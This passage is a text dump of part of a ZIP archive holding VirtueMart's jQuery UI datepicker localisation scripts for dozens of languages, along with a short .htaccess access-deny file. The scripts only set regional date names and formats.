axşamı','Çərşənbə','Cümə axşamı','Cümə','Şənbə'], dayNamesShort: ['B','Be','Ça','Ç','Ca','C','Ş'], dayNamesMin: ['B','B','Ç','С','Ç','C','Ş'], weekHeader: 'Hf', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['az']); });PKGy>\7<;com_virtuemart/assets/js/i18n/jquery.ui.datepicker-pt-BR.jsnuW+A/* Brazilian initialisation for the jQuery UI date picker plugin. */ /* Written by Leonildo Costa Silva (leocsilva@gmail.com). */ jQuery(function($){ $.datepicker.regional['pt-BR'] = { closeText: 'Fechar', prevText: '<Anterior', nextText: 'Próximo>', currentText: 'Hoje', monthNames: ['Janeiro','Fevereiro','Março','Abril','Maio','Junho', 'Julho','Agosto','Setembro','Outubro','Novembro','Dezembro'], monthNamesShort: ['Jan','Fev','Mar','Abr','Mai','Jun', 'Jul','Ago','Set','Out','Nov','Dez'], dayNames: ['Domingo','Segunda-feira','Terça-feira','Quarta-feira','Quinta-feira','Sexta-feira','Sábado'], dayNamesShort: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], dayNamesMin: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['pt-BR']); });PKGy>\?Obb8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-uk.jsnuW+A/* Ukrainian (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Maxim Drogobitskiy (maxdao@gmail.com). */ jQuery(function($){ $.datepicker.regional['uk'] = { closeText: 'Закрити', prevText: '<', nextText: '>', currentText: 'Сьогодні', monthNames: ['Січень','Лютий','Березень','Квітень','Травень','Червень', 'Липень','Серпень','Вересень','Жовтень','Листопад','Грудень'], monthNamesShort: ['Січ','Лют','Бер','Кві','Тра','Чер', 'Лип','Сер','Вер','Жов','Лис','Гру'], dayNames: ['неділя','понеділок','вівторок','середа','четвер','п’ятниця','субота'], dayNamesShort: ['нед','пнд','вів','срд','чтв','птн','сбт'], dayNamesMin: ['Нд','Пн','Вт','Ср','Чт','Пт','Сб'], weekHeader: 'Не', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['uk']); });PKGy>\̬8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-es.jsnuW+A/* Inicialización en español para la extensión 'UI date picker' para jQuery. */ /* Traducido por Vester (xvester@gmail.com). */ jQuery(function($){ $.datepicker.regional['es'] = { closeText: 'Cerrar', prevText: '<Ant', nextText: 'Sig>', currentText: 'Hoy', monthNames: ['Enero','Febrero','Marzo','Abril','Mayo','Junio', 'Julio','Agosto','Septiembre','Octubre','Noviembre','Diciembre'], monthNamesShort: ['Ene','Feb','Mar','Abr','May','Jun', 'Jul','Ago','Sep','Oct','Nov','Dic'], dayNames: ['Domingo','Lunes','Martes','Miércoles','Jueves','Viernes','Sábado'], dayNamesShort: ['Dom','Lun','Mar','Mié','Juv','Vie','Sáb'], dayNamesMin: ['Do','Lu','Ma','Mi','Ju','Vi','Sá'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['es']); });PKGy>\R8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-sl.jsnuW+A/* Slovenian initialisation for the jQuery UI date picker plugin. */ /* Written by Jaka Jancar (jaka@kubje.org). */ /* c = č, s = š z = ž C = Č S = Š Z = Ž */ jQuery(function($){ $.datepicker.regional['sl'] = { closeText: 'Zapri', prevText: '<Prejšnji', nextText: 'Naslednji>', currentText: 'Trenutni', monthNames: ['Januar','Februar','Marec','April','Maj','Junij', 'Julij','Avgust','September','Oktober','November','December'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Avg','Sep','Okt','Nov','Dec'], dayNames: ['Nedelja','Ponedeljek','Torek','Sreda','Četrtek','Petek','Sobota'], dayNamesShort: ['Ned','Pon','Tor','Sre','Čet','Pet','Sob'], dayNamesMin: ['Ne','Po','To','Sr','Če','Pe','So'], weekHeader: 'Teden', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sl']); }); PKGy>\)'com_virtuemart/assets/js/i18n/.htaccessnuW+A Order allow,deny Deny from all PKGy>\4POO8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-bs.jsnuW+A/* Bosnian i18n for the jQuery UI date picker plugin. */ /* Written by Kenan Konjo. */ jQuery(function($){ $.datepicker.regional['bs'] = { closeText: 'Zatvori', prevText: '<', nextText: '>', currentText: 'Danas', monthNames: ['Januar','Februar','Mart','April','Maj','Juni', 'Juli','August','Septembar','Oktobar','Novembar','Decembar'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Aug','Sep','Okt','Nov','Dec'], dayNames: ['Nedelja','Ponedeljak','Utorak','Srijeda','Četvrtak','Petak','Subota'], dayNamesShort: ['Ned','Pon','Uto','Sri','Čet','Pet','Sub'], dayNamesMin: ['Ne','Po','Ut','Sr','Če','Pe','Su'], weekHeader: 'Wk', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['bs']); });PKGy>\a8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-fi.jsnuW+A/* Finnish initialisation for the jQuery UI date picker plugin. */ /* Written by Harri Kilpi� (harrikilpio@gmail.com). */ jQuery(function($){ $.datepicker.regional['fi'] = { closeText: 'Sulje', prevText: '«Edellinen', nextText: 'Seuraava»', currentText: 'Tänään', monthNames: ['Tammikuu','Helmikuu','Maaliskuu','Huhtikuu','Toukokuu','Kesäkuu', 'Heinäkuu','Elokuu','Syyskuu','Lokakuu','Marraskuu','Joulukuu'], monthNamesShort: ['Tammi','Helmi','Maalis','Huhti','Touko','Kesä', 'Heinä','Elo','Syys','Loka','Marras','Joulu'], dayNamesShort: ['Su','Ma','Ti','Ke','To','Pe','Su'], dayNames: ['Sunnuntai','Maanantai','Tiistai','Keskiviikko','Torstai','Perjantai','Lauantai'], dayNamesMin: ['Su','Ma','Ti','Ke','To','Pe','La'], weekHeader: 'Vk', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fi']); }); PKGy>\9T8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ro.jsnuW+A/* Romanian initialisation for the jQuery UI date picker plugin. * * Written by Edmond L. (ll_edmond@walla.com) * and Ionut G. Stan (ionut.g.stan@gmail.com) */ jQuery(function($){ $.datepicker.regional['ro'] = { closeText: 'Închide', prevText: '« Luna precedentă', nextText: 'Luna următoare »', currentText: 'Azi', monthNames: ['Ianuarie','Februarie','Martie','Aprilie','Mai','Iunie', 'Iulie','August','Septembrie','Octombrie','Noiembrie','Decembrie'], monthNamesShort: ['Ian', 'Feb', 'Mar', 'Apr', 'Mai', 'Iun', 'Iul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], dayNames: ['Duminică', 'Luni', 'Marţi', 'Miercuri', 'Joi', 'Vineri', 'Sâmbătă'], dayNamesShort: ['Dum', 'Lun', 'Mar', 'Mie', 'Joi', 'Vin', 'Sâm'], dayNamesMin: ['Du','Lu','Ma','Mi','Jo','Vi','Sâ'], weekHeader: 'Săpt', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ro']); }); PKGy>\HIP8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-th.jsnuW+A/* Thai initialisation for the jQuery UI date picker plugin. */ /* Written by pipo (pipo@sixhead.com). */ jQuery(function($){ $.datepicker.regional['th'] = { closeText: 'ปิด', prevText: '« ย้อน', nextText: 'ถัดไป »', currentText: 'วันนี้', monthNames: ['มกราคม','กุมภาพันธ์','มีนาคม','เมษายน','พฤษภาคม','มิถุนายน', 'กรกฎาคม','สิงหาคม','กันยายน','ตุลาคม','พฤศจิกายน','ธันวาคม'], monthNamesShort: ['ม.ค.','ก.พ.','มี.ค.','เม.ย.','พ.ค.','มิ.ย.', 'ก.ค.','ส.ค.','ก.ย.','ต.ค.','พ.ย.','ธ.ค.'], dayNames: ['อาทิตย์','จันทร์','อังคาร','พุธ','พฤหัสบดี','ศุกร์','เสาร์'], dayNamesShort: ['อา.','จ.','อ.','พ.','พฤ.','ศ.','ส.'], dayNamesMin: ['อา.','จ.','อ.','พ.','พฤ.','ศ.','ส.'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['th']); });PKGy>\{n;com_virtuemart/assets/js/i18n/jquery.ui.datepicker-zh-HK.jsnuW+A/* Chinese initialisation for the jQuery UI date picker plugin. */ /* Written by SCCY (samuelcychan@gmail.com). */ jQuery(function($){ $.datepicker.regional['zh-HK'] = { closeText: '關閉', prevText: '<上月', nextText: '下月>', currentText: '今天', monthNames: ['一月','二月','三月','四月','五月','六月', '七月','八月','九月','十月','十一月','十二月'], monthNamesShort: ['一','二','三','四','五','六', '七','八','九','十','十一','十二'], dayNames: ['星期日','星期一','星期二','星期三','星期四','星期五','星期六'], dayNamesShort: ['周日','周一','周二','周三','周四','周五','周六'], dayNamesMin: ['日','一','二','三','四','五','六'], weekHeader: '周', dateFormat: 'dd-mm-yy', firstDay: 0, isRTL: false, showMonthAfterYear: true, yearSuffix: '年'}; $.datepicker.setDefaults($.datepicker.regional['zh-HK']); }); PKGy>\a8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-lv.jsnuW+A/* Latvian (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* @author Arturas Paleicikas */ jQuery(function($){ $.datepicker.regional['lv'] = { closeText: 'Aizvērt', prevText: 'Iepr', nextText: 'Nāka', currentText: 'Šodien', monthNames: ['Janvāris','Februāris','Marts','Aprīlis','Maijs','Jūnijs', 'Jūlijs','Augusts','Septembris','Oktobris','Novembris','Decembris'], monthNamesShort: ['Jan','Feb','Mar','Apr','Mai','Jūn', 'Jūl','Aug','Sep','Okt','Nov','Dec'], dayNames: ['svētdiena','pirmdiena','otrdiena','trešdiena','ceturtdiena','piektdiena','sestdiena'], dayNamesShort: ['svt','prm','otr','tre','ctr','pkt','sst'], dayNamesMin: ['Sv','Pr','Ot','Tr','Ct','Pk','Ss'], weekHeader: 'Nav', dateFormat: 'dd-mm-yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['lv']); });PKGy>\}8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-no.jsnuW+A/* Norwegian initialisation for the jQuery UI date picker plugin. */ /* Written by Naimdjon Takhirov (naimdjon@gmail.com). */ jQuery(function($){ $.datepicker.regional['no'] = { closeText: 'Lukk', prevText: '«Forrige', nextText: 'Neste»', currentText: 'I dag', monthNames: ['januar','februar','mars','april','mai','juni','juli','august','september','oktober','november','desember'], monthNamesShort: ['jan','feb','mar','apr','mai','jun','jul','aug','sep','okt','nov','des'], dayNamesShort: ['søn','man','tir','ons','tor','fre','lør'], dayNames: ['søndag','mandag','tirsdag','onsdag','torsdag','fredag','lørdag'], dayNamesMin: ['sø','ma','ti','on','to','fr','lø'], weekHeader: 'Uke', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: '' }; $.datepicker.setDefaults($.datepicker.regional['no']); }); PKGy>\.8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-cs.jsnuW+A/* Czech initialisation for the jQuery UI date picker plugin. */ /* Written by Tomas Muller (tomas@tomas-muller.net). */ jQuery(function($){ $.datepicker.regional['cs'] = { closeText: 'Zavřít', prevText: '<Dříve', nextText: 'Později>', currentText: 'Nyní', monthNames: ['leden','únor','březen','duben','květen','červen', 'červenec','srpen','září','říjen','listopad','prosinec'], monthNamesShort: ['led','úno','bře','dub','kvě','čer', 'čvc','srp','zář','říj','lis','pro'], dayNames: ['neděle', 'pondělí', 'úterý', 'středa', 'čtvrtek', 'pátek', 'sobota'], dayNamesShort: ['ne', 'po', 'út', 'st', 'čt', 'pá', 'so'], dayNamesMin: ['ne','po','út','st','čt','pá','so'], weekHeader: 'Týd', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['cs']); }); PKGy>\Tg8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-lt.jsnuW+A/* Lithuanian (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* @author Arturas Paleicikas */ jQuery(function($){ $.datepicker.regional['lt'] = { closeText: 'Uždaryti', prevText: '<Atgal', nextText: 'Pirmyn>', currentText: 'Šiandien', monthNames: ['Sausis','Vasaris','Kovas','Balandis','Gegužė','Birželis', 'Liepa','Rugpjūtis','Rugsėjis','Spalis','Lapkritis','Gruodis'], monthNamesShort: ['Sau','Vas','Kov','Bal','Geg','Bir', 'Lie','Rugp','Rugs','Spa','Lap','Gru'], dayNames: ['sekmadienis','pirmadienis','antradienis','trečiadienis','ketvirtadienis','penktadienis','šeštadienis'], dayNamesShort: ['sek','pir','ant','tre','ket','pen','šeš'], dayNamesMin: ['Se','Pr','An','Tr','Ke','Pe','Še'], weekHeader: 'Wk', dateFormat: 'yy-mm-dd', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['lt']); });PKGy>\Wsqq8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-de.jsnuW+A/* German initialisation for the jQuery UI date picker plugin. */ /* Written by Milian Wolff (mail@milianw.de). */ jQuery(function($){ $.datepicker.regional['de'] = { closeText: 'schließen', prevText: '<zurück', nextText: 'Vor>', currentText: 'heute', monthNames: ['Januar','Februar','März','April','Mai','Juni', 'Juli','August','September','Oktober','November','Dezember'], monthNamesShort: ['Jan','Feb','Mär','Apr','Mai','Jun', 'Jul','Aug','Sep','Okt','Nov','Dez'], dayNames: ['Sonntag','Montag','Dienstag','Mittwoch','Donnerstag','Freitag','Samstag'], dayNamesShort: ['So','Mo','Di','Mi','Do','Fr','Sa'], dayNamesMin: ['So','Mo','Di','Mi','Do','Fr','Sa'], weekHeader: 'Wo', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['de']); }); PKGy>\oV=8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-et.jsnuW+A/* Estonian initialisation for the jQuery UI date picker plugin. */ /* Written by Mart Sõmermaa (mrts.pydev at gmail com). */ jQuery(function($){ $.datepicker.regional['et'] = { closeText: 'Sulge', prevText: 'Eelnev', nextText: 'Järgnev', currentText: 'Täna', monthNames: ['Jaanuar','Veebruar','Märts','Aprill','Mai','Juuni', 'Juuli','August','September','Oktoober','November','Detsember'], monthNamesShort: ['Jaan', 'Veebr', 'Märts', 'Apr', 'Mai', 'Juuni', 'Juuli', 'Aug', 'Sept', 'Okt', 'Nov', 'Dets'], dayNames: ['Pühapäev', 'Esmaspäev', 'Teisipäev', 'Kolmapäev', 'Neljapäev', 'Reede', 'Laupäev'], dayNamesShort: ['Pühap', 'Esmasp', 'Teisip', 'Kolmap', 'Neljap', 'Reede', 'Laup'], dayNamesMin: ['P','E','T','K','N','R','L'], weekHeader: 'Sm', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['et']); }); PKGy>\ya8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-sk.jsnuW+A/* Slovak initialisation for the jQuery UI date picker plugin. */ /* Written by Vojtech Rinik (vojto@hmm.sk). */ jQuery(function($){ $.datepicker.regional['sk'] = { closeText: 'Zavrieť', prevText: '<Predchádzajúci', nextText: 'Nasledujúci>', currentText: 'Dnes', monthNames: ['Január','Február','Marec','Apríl','Máj','Jún', 'Júl','August','September','Október','November','December'], monthNamesShort: ['Jan','Feb','Mar','Apr','Máj','Jún', 'Júl','Aug','Sep','Okt','Nov','Dec'], dayNames: ['Nedeľa','Pondelok','Utorok','Streda','Štvrtok','Piatok','Sobota'], dayNamesShort: ['Ned','Pon','Uto','Str','Štv','Pia','Sob'], dayNamesMin: ['Ne','Po','Ut','St','Št','Pia','So'], weekHeader: 'Ty', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sk']); }); PKGy>\ ,Pzz8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ms.jsnuW+A/* Malaysian initialisation for the jQuery UI date picker plugin. */ /* Written by Mohd Nawawi Mohamad Jamili (nawawi@ronggeng.net). */ jQuery(function($){ $.datepicker.regional['ms'] = { closeText: 'Tutup', prevText: '<Sebelum', nextText: 'Selepas>', currentText: 'hari ini', monthNames: ['Januari','Februari','Mac','April','Mei','Jun', 'Julai','Ogos','September','Oktober','November','Disember'], monthNamesShort: ['Jan','Feb','Mac','Apr','Mei','Jun', 'Jul','Ogo','Sep','Okt','Nov','Dis'], dayNames: ['Ahad','Isnin','Selasa','Rabu','Khamis','Jumaat','Sabtu'], dayNamesShort: ['Aha','Isn','Sel','Rab','kha','Jum','Sab'], dayNamesMin: ['Ah','Is','Se','Ra','Kh','Ju','Sa'], weekHeader: 'Mg', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ms']); });PKGy>\_-8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-gl.jsnuW+A/* Galician localization for 'UI date picker' jQuery extension. */ /* Translated by Jorge Barreiro . */ jQuery(function($){ $.datepicker.regional['gl'] = { closeText: 'Pechar', prevText: '<Ant', nextText: 'Seg>', currentText: 'Hoxe', monthNames: ['Xaneiro','Febreiro','Marzo','Abril','Maio','Xuño', 'Xullo','Agosto','Setembro','Outubro','Novembro','Decembro'], monthNamesShort: ['Xan','Feb','Mar','Abr','Mai','Xuñ', 'Xul','Ago','Set','Out','Nov','Dec'], dayNames: ['Domingo','Luns','Martes','Mércores','Xoves','Venres','Sábado'], dayNamesShort: ['Dom','Lun','Mar','Mér','Xov','Ven','Sáb'], dayNamesMin: ['Do','Lu','Ma','Mé','Xo','Ve','Sá'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['gl']); });PKGy>\JM8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-eu.jsnuW+A/* Euskarako oinarria 'UI date picker' jquery-ko extentsioarentzat */ /* Karrikas-ek itzulia (karrikas@karrikas.com) */ jQuery(function($){ $.datepicker.regional['eu'] = { closeText: 'Egina', prevText: '<Aur', nextText: 'Hur>', currentText: 'Gaur', monthNames: ['Urtarrila','Otsaila','Martxoa','Apirila','Maiatza','Ekaina', 'Uztaila','Abuztua','Iraila','Urria','Azaroa','Abendua'], monthNamesShort: ['Urt','Ots','Mar','Api','Mai','Eka', 'Uzt','Abu','Ira','Urr','Aza','Abe'], dayNames: ['Igandea','Astelehena','Asteartea','Asteazkena','Osteguna','Ostirala','Larunbata'], dayNamesShort: ['Iga','Ast','Ast','Ast','Ost','Ost','Lar'], dayNamesMin: ['Ig','As','As','As','Os','Os','La'], weekHeader: 'Wk', dateFormat: 'yy/mm/dd', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['eu']); });PKGy>\i ,118com_virtuemart/assets/js/i18n/jquery.ui.datepicker-tj.jsnuW+A/* Tajiki (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Abdurahmon Saidov (saidovab@gmail.com). */ jQuery(function($){ $.datepicker.regional['tj'] = { closeText: 'Идома', prevText: '<Қафо', nextText: 'Пеш>', currentText: 'Имрӯз', monthNames: ['Январ','Феврал','Март','Апрел','Май','Июн', 'Июл','Август','Сентябр','Октябр','Ноябр','Декабр'], monthNamesShort: ['Янв','Фев','Мар','Апр','Май','Июн', 'Июл','Авг','Сен','Окт','Ноя','Дек'], dayNames: ['якшанбе','душанбе','сешанбе','чоршанбе','панҷшанбе','ҷумъа','шанбе'], dayNamesShort: ['якш','душ','сеш','чор','пан','ҷум','шан'], dayNamesMin: ['Як','Дш','Сш','Чш','Пш','Ҷм','Шн'], weekHeader: 'Хф', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['tj']); });PKGy>\Jr8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-nl.jsnuW+A/* Dutch (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Mathias Bynens */ jQuery(function($){ $.datepicker.regional.nl = { closeText: 'Sluiten', prevText: '←', nextText: '→', currentText: 'Vandaag', monthNames: ['januari', 'februari', 'maart', 'april', 'mei', 'juni', 'juli', 'augustus', 'september', 'oktober', 'november', 'december'], monthNamesShort: ['jan', 'feb', 'maa', 'apr', 'mei', 'jun', 'jul', 'aug', 'sep', 'okt', 'nov', 'dec'], dayNames: ['zondag', 'maandag', 'dinsdag', 'woensdag', 'donderdag', 'vrijdag', 'zaterdag'], dayNamesShort: ['zon', 'maa', 'din', 'woe', 'don', 'vri', 'zat'], dayNamesMin: ['zo', 'ma', 'di', 'wo', 'do', 'vr', 'za'], weekHeader: 'Wk', dateFormat: 'dd-mm-yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional.nl); });PKGy>\R 8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-pt.jsnuW+A/* Portuguese initialisation for the jQuery UI date picker plugin. */ jQuery(function($){ $.datepicker.regional['pt'] = { closeText: 'Fechar', prevText: '<Anterior', nextText: 'Seguinte', currentText: 'Hoje', monthNames: ['Janeiro','Fevereiro','Março','Abril','Maio','Junho', 'Julho','Agosto','Setembro','Outubro','Novembro','Dezembro'], monthNamesShort: ['Jan','Fev','Mar','Abr','Mai','Jun', 'Jul','Ago','Set','Out','Nov','Dez'], dayNames: ['Domingo','Segunda-feira','Terça-feira','Quarta-feira','Quinta-feira','Sexta-feira','Sábado'], dayNamesShort: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], dayNamesMin: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], weekHeader: 'Sem', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['pt']); });PKGy>\F 8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-rm.jsnuW+A/* Romansh initialisation for the jQuery UI date picker plugin. */ /* Written by Yvonne Gienal (yvonne.gienal@educa.ch). */ jQuery(function($){ $.datepicker.regional['rm'] = { closeText: 'Serrar', prevText: '<Suandant', nextText: 'Precedent>', currentText: 'Actual', monthNames: ['Schaner','Favrer','Mars','Avrigl','Matg','Zercladur', 'Fanadur','Avust','Settember','October','November','December'], monthNamesShort: ['Scha','Fev','Mar','Avr','Matg','Zer', 'Fan','Avu','Sett','Oct','Nov','Dec'], dayNames: ['Dumengia','Glindesdi','Mardi','Mesemna','Gievgia','Venderdi','Sonda'], dayNamesShort: ['Dum','Gli','Mar','Mes','Gie','Ven','Som'], dayNamesMin: ['Du','Gl','Ma','Me','Gi','Ve','So'], weekHeader: 'emna', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['rm']); }); PKGy>\]]8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-is.jsnuW+A/* Icelandic initialisation for the jQuery UI date picker plugin. */ /* Written by Haukur H. Thorsson (haukur@eskill.is). */ jQuery(function($){ $.datepicker.regional['is'] = { closeText: 'Loka', prevText: '< Fyrri', nextText: 'Næsti >', currentText: 'Í dag', monthNames: ['Janúar','Febrúar','Mars','Apríl','Maí','Júní', 'Júlí','Ágúst','September','Október','Nóvember','Desember'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maí','Jún', 'Júl','Ágú','Sep','Okt','Nóv','Des'], dayNames: ['Sunnudagur','Mánudagur','Þriðjudagur','Miðvikudagur','Fimmtudagur','Föstudagur','Laugardagur'], dayNamesShort: ['Sun','Mán','Þri','Mið','Fim','Fös','Lau'], dayNamesMin: ['Su','Má','Þr','Mi','Fi','Fö','La'], weekHeader: 'Vika', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['is']); });PKGy>\/;com_virtuemart/assets/js/i18n/jquery.ui.datepicker-zh-CN.jsnuW+A/* Chinese initialisation for the jQuery UI date picker plugin. */ /* Written by Cloudream (cloudream@gmail.com). */ jQuery(function($){ $.datepicker.regional['zh-CN'] = { closeText: '关闭', prevText: '<上月', nextText: '下月>', currentText: '今天', monthNames: ['一月','二月','三月','四月','五月','六月', '七月','八月','九月','十月','十一月','十二月'], monthNamesShort: ['一','二','三','四','五','六', '七','八','九','十','十一','十二'], dayNames: ['星期日','星期一','星期二','星期三','星期四','星期五','星期六'], dayNamesShort: ['周日','周一','周二','周三','周四','周五','周六'], dayNamesMin: ['日','一','二','三','四','五','六'], weekHeader: '周', dateFormat: 'yy-mm-dd', firstDay: 1, isRTL: false, showMonthAfterYear: true, yearSuffix: '年'}; $.datepicker.setDefaults($.datepicker.regional['zh-CN']); }); PKGy>\ {Րqq8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-id.jsnuW+A/* Indonesian initialisation for the jQuery UI date picker plugin. */ /* Written by Deden Fathurahman (dedenf@gmail.com). */ jQuery(function($){ $.datepicker.regional['id'] = { closeText: 'Tutup', prevText: '<mundur', nextText: 'maju>', currentText: 'hari ini', monthNames: ['Januari','Februari','Maret','April','Mei','Juni', 'Juli','Agustus','September','Oktober','Nopember','Desember'], monthNamesShort: ['Jan','Feb','Mar','Apr','Mei','Jun', 'Jul','Agus','Sep','Okt','Nop','Des'], dayNames: ['Minggu','Senin','Selasa','Rabu','Kamis','Jumat','Sabtu'], dayNamesShort: ['Min','Sen','Sel','Rab','kam','Jum','Sab'], dayNamesMin: ['Mg','Sn','Sl','Rb','Km','jm','Sb'], weekHeader: 'Mg', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['id']); });PKGy>\`f;com_virtuemart/assets/js/i18n/jquery.ui.datepicker-zh-TW.jsnuW+A/* Chinese initialisation for the jQuery UI date picker plugin. */ /* Written by Ressol (ressol@gmail.com). */ jQuery(function($){ $.datepicker.regional['zh-TW'] = { closeText: '關閉', prevText: '<上月', nextText: '下月>', currentText: '今天', monthNames: ['一月','二月','三月','四月','五月','六月', '七月','八月','九月','十月','十一月','十二月'], monthNamesShort: ['一','二','三','四','五','六', '七','八','九','十','十一','十二'], dayNames: ['星期日','星期一','星期二','星期三','星期四','星期五','星期六'], dayNamesShort: ['周日','周一','周二','周三','周四','周五','周六'], dayNamesMin: ['日','一','二','三','四','五','六'], weekHeader: '周', dateFormat: 'yy/mm/dd', firstDay: 1, isRTL: false, showMonthAfterYear: true, yearSuffix: '年'}; $.datepicker.setDefaults($.datepicker.regional['zh-TW']); }); PKGy>\T8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ml.jsnuW+A/* Malayalam (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Saji Nediyanchath (saji89@gmail.com). */ jQuery(function($){ $.datepicker.regional['ml'] = { closeText: 'ശരി', prevText: 'മുന്നത്തെ', nextText: 'അടുത്തത് ', currentText: 'ഇന്ന്', monthNames: ['ജനുവരി','ഫെബ്രുവരി','മാര്‍ച്ച്','ഏപ്രില്‍','മേയ്','ജൂണ്‍', 'ജൂലൈ','ആഗസ്റ്റ്','സെപ്റ്റംബര്‍','ഒക്ടോബര്‍','നവംബര്‍','ഡിസംബര്‍'], monthNamesShort: ['ജനു', 'ഫെബ്', 'മാര്‍', 'ഏപ്രി', 'മേയ്', 'ജൂണ്‍', 'ജൂലാ', 'ആഗ', 'സെപ്', 'ഒക്ടോ', 'നവം', 'ഡിസ'], dayNames: ['ഞായര്‍', 'തിങ്കള്‍', 'ചൊവ്വ', 'ബുധന്‍', 'വ്യാഴം', 'വെള്ളി', 'ശനി'], dayNamesShort: ['ഞായ', 'തിങ്ക', 'ചൊവ്വ', 'ബുധ', 'വ്യാഴം', 'വെള്ളി', 'ശനി'], dayNamesMin: ['ഞാ','തി','ചൊ','ബു','വ്യാ','വെ','ശ'], weekHeader: 'ആ', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ml']); }); PKGy>\x)8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-hu.jsnuW+A/* Hungarian initialisation for the jQuery UI date picker plugin. */ /* Written by Istvan Karaszi (jquery@spam.raszi.hu). */ jQuery(function($){ 